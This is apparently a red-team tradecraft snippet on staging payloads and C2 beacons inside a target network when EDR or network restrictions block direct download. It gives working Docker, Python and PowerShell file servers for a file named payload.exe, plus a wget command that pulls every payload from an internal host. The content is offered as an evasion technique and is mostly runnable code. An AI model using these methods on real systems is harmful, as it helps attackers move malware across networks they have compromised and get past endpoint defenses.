In some cases, network restrictions or EDR may prevent you from downloading a payload or beacon directly from the Internet or your C2. If you already have a copy of the binary on a system you control within the same network, you can use that host to serve the file locally.
The following methods spin up a local file server.
# Docker
docker run -it --rm -d -p 8080:80 --name web -v /home/USERNAME/payloads:/usr/share/nginx/html nginx
# Python
import http.server
import socketserver
PORT = 8080
DIRECTORY = "/home/USERNAME/payloads"
class SimpleHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, directory=DIRECTORY, **kwargs)
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"Serving at http://localhost:{PORT}")
httpd.serve_forever()
# On another Linux machine, all files can be downloaded to current directory with:
# wget -r -np -nH --cut-dirs=3 -e robots=off http://10.10.5.51:8080/
# PowerShell (Requires Admin)
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://*:8444/")
$listener.Start()
while ($true) {
$context = $listener.GetContext()
$response = $context.Response
$response.ContentType = "application/octet-stream"
$file = "C:\windows\tasks\payload.exe"
$fileStream = [System.IO.File]::OpenRead($file)
$response.ContentLength64 = $fileStream.Length
$fileStream.CopyTo($response.OutputStream)
$response.Close()
}
# PowerShell (No admin)
$port = 8080
$filePath = "C:\windows\tasks\payload.exe"
$listener = [System.Net.Sockets.TcpListener]::new($port)
$listener.Start()
Write-Host "[*] Serving $filePath on http://localhost:$port/"
while ($true) {
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$writer = New-Object System.IO.StreamWriter $stream
$writer.NewLine = "`r`n"
$writer.WriteLine("HTTP/1.1 200 OK")
$writer.WriteLine("Content-Type: application/octet-stream")
$writer.WriteLine("Content-Length: $($fileBytes.Length)")
$writer.WriteLine("Connection: close")
$writer.WriteLine()
$writer.Flush()
$stream.Write($fileBytes, 0, $fileBytes.Length)
$stream.Flush()
$client.Close()
}